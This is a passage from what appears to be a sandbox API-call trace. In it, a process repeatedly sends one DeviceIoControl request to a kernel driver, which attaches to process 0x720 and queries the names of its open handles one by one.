(Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.895] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.895] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.895] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0081.895] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.895] PsAcquireProcessExitSynchronization () returned 0x0 [0081.895] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.895] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003101a60, HandleInformation=0x0) returned 0x0 [0081.895] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.895] PsReleaseProcessExitSynchronization () returned 0x2 [0081.895] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.895] ObQueryNameString (in: Object=0xfffffa8003101a60, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.895] ObfDereferenceObject (Object=0xfffffa8003101a60) returned 0x15 [0081.895] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.895] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.895] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.895] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0081.895] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.895] PsAcquireProcessExitSynchronization () returned 0x0 [0081.895] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.895] ObReferenceObjectByHandle (in: Handle=0x30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a001a09d00, HandleInformation=0x0) returned 0x0 [0081.895] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.895] PsReleaseProcessExitSynchronization () returned 0x2 [0081.895] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.895] ObQueryNameString (in: Object=0xfffff8a001a09d00, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005452550) returned 0x0 [0081.895] ObfDereferenceObject (Object=0xfffff8a001a09d00) returned 0x1 [0081.895] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.895] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.895] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.895] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.895] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.896] PsAcquireProcessExitSynchronization () returned 0x0 [0081.896] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.896] ObReferenceObjectByHandle (in: Handle=0x34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800bca27b0, HandleInformation=0x0) returned 0x0 [0081.896] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.896] PsReleaseProcessExitSynchronization () returned 0x2 [0081.896] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.896] ObQueryNameString (in: Object=0xfffffa800bca27b0, ObjectNameInfo=0xfffffa80038547c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038547c4, ReturnLength=0xfffff88005452550) returned 0x0 [0081.896] ObfDereferenceObject (Object=0xfffffa800bca27b0) returned 0x1 [0081.896] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.896] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.896] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.896] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.896] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.896] PsAcquireProcessExitSynchronization () returned 0x0 [0081.896] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.896] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800346f060, HandleInformation=0x0) returned 0x0 [0081.896] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.896] PsReleaseProcessExitSynchronization () returned 0x2 [0081.896] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.896] ObQueryNameString (in: Object=0xfffffa800346f060, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005452550) returned 0x0 [0081.896] ObfDereferenceObject (Object=0xfffffa800346f060) returned 0x1 [0081.896] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.896] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.896] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.896] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.896] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.896] PsAcquireProcessExitSynchronization () returned 0x0 [0081.896] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.896] ObReferenceObjectByHandle (in: Handle=0x3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003c04250, HandleInformation=0x0) returned 0x0 [0081.896] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.896] PsReleaseProcessExitSynchronization () returned 0x2 [0081.896] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.896] ObQueryNameString (in: Object=0xfffffa8003c04250, ObjectNameInfo=0xfffffa8003083344, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003083344, ReturnLength=0xfffff88005452550) returned 0x0 [0081.896] ObfDereferenceObject (Object=0xfffffa8003c04250) returned 0x1 [0081.896] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.897] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.897] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.897] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.897] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.897] PsAcquireProcessExitSynchronization () returned 0x0 [0081.897] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.897] ObReferenceObjectByHandle (in: Handle=0x40, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800350e2c0, HandleInformation=0x0) returned 0x0 [0081.897] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.897] PsReleaseProcessExitSynchronization () returned 0x2 [0081.897] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.897] ObQueryNameString (in: Object=0xfffffa800350e2c0, ObjectNameInfo=0xfffffa8003956044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003956044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.897] ObfDereferenceObject (Object=0xfffffa800350e2c0) returned 0x1 [0081.897] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.897] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.897] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.897] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.897] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.897] PsAcquireProcessExitSynchronization () returned 0x0 [0081.897] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.897] ObReferenceObjectByHandle (in: Handle=0x44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800342ebe0, HandleInformation=0x0) returned 0x0 [0081.897] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.897] PsReleaseProcessExitSynchronization () returned 0x2 [0081.897] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.897] ObQueryNameString (in: Object=0xfffffa800342ebe0, ObjectNameInfo=0xfffffa800394c044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800394c044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.897] ObfDereferenceObject (Object=0xfffffa800342ebe0) returned 0x1 [0081.897] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.897] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.897] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.897] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.897] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.897] PsAcquireProcessExitSynchronization () returned 0x0 [0081.897] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.897] ObReferenceObjectByHandle (in: Handle=0x48, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003565060, HandleInformation=0x0) returned 0x0 [0081.897] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.897] PsReleaseProcessExitSynchronization () returned 0x2 [0081.898] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.898] ObQueryNameString (in: Object=0xfffffa8003565060, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.898] ObfDereferenceObject (Object=0xfffffa8003565060) returned 0x1 [0081.898] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.898] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.898] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.898] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.898] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.898] PsAcquireProcessExitSynchronization () returned 0x0 [0081.898] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.898] ObReferenceObjectByHandle (in: Handle=0x4c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80034736a0, HandleInformation=0x0) returned 0x0 [0081.898] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.898] PsReleaseProcessExitSynchronization () returned 0x2 [0081.898] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.898] ObQueryNameString (in: Object=0xfffffa80034736a0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.898] ObfDereferenceObject (Object=0xfffffa80034736a0) returned 0x1 [0081.898] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.898] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.898] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.898] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0081.898] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.898] PsAcquireProcessExitSynchronization () returned 0x0 [0081.898] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.898] ObReferenceObjectByHandle (in: Handle=0x50, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a004a3e950, HandleInformation=0x0) returned 0x0 [0081.898] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.898] PsReleaseProcessExitSynchronization () returned 0x2 [0081.898] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.898] ObQueryNameString (in: Object=0xfffff8a004a3e950, ObjectNameInfo=0xfffffa8003915044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003915044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.898] ObfDereferenceObject (Object=0xfffff8a004a3e950) returned 0x93 [0081.898] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.898] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.898] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.898] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.898] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.898] PsAcquireProcessExitSynchronization () returned 0x0 [0081.899] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.899] ObReferenceObjectByHandle (in: Handle=0x54, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80087fe9d0, HandleInformation=0x0) returned 0x0 [0081.899] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.899] PsReleaseProcessExitSynchronization () returned 0x2 [0081.899] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.899] ObQueryNameString (in: Object=0xfffffa80087fe9d0, ObjectNameInfo=0xfffffa8003a12044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003a12044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.899] ObfDereferenceObject (Object=0xfffffa80087fe9d0) returned 0x1 [0081.899] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.899] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.899] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.899] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.899] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.899] PsAcquireProcessExitSynchronization () returned 0x0 [0081.899] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.899] ObReferenceObjectByHandle (in: Handle=0x58, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80035274e0, HandleInformation=0x0) returned 0x0 [0081.899] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.899] PsReleaseProcessExitSynchronization () returned 0x2 [0081.899] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.899] ObQueryNameString (in: Object=0xfffffa80035274e0, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.899] ObfDereferenceObject (Object=0xfffffa80035274e0) returned 0x1 [0081.899] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.899] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.899] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.899] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0081.899] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.899] PsAcquireProcessExitSynchronization () returned 0x0 [0081.899] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.899] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800eb5b310, HandleInformation=0x0) returned 0x0 [0081.899] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.899] PsReleaseProcessExitSynchronization () returned 0x2 [0081.899] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.899] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005452508 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005452508) returned 0x0 [0081.899] ObfDereferenceObject (Object=0xfffffa800eb5b310) returned 0x1 [0081.899] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.899] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.900] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.900] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.900] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.900] PsAcquireProcessExitSynchronization () returned 0x0 [0081.900] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.900] ObReferenceObjectByHandle (in: Handle=0x60, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800314a720, HandleInformation=0x0) returned 0x0 [0081.900] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.900] PsReleaseProcessExitSynchronization () returned 0x2 [0081.900] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.900] ObQueryNameString (in: Object=0xfffffa800314a720, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.900] ObfDereferenceObject (Object=0xfffffa800314a720) returned 0x1 [0081.900] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.900] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.900] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.900] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.900] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.900] PsAcquireProcessExitSynchronization () returned 0x0 [0081.900] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.900] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003b96fe0, HandleInformation=0x0) returned 0x0 [0081.900] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.900] PsReleaseProcessExitSynchronization () returned 0x2 [0081.900] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.900] ObQueryNameString (in: Object=0xfffffa8003b96fe0, ObjectNameInfo=0xfffffa8003901044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003901044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.900] ObfDereferenceObject (Object=0xfffffa8003b96fe0) returned 0x1 [0081.900] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.900] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.900] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.900] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.900] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.901] PsAcquireProcessExitSynchronization () returned 0x0 [0081.901] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.901] ObReferenceObjectByHandle (in: Handle=0x68, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800a665ad0, HandleInformation=0x0) returned 0x0 [0081.901] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.901] 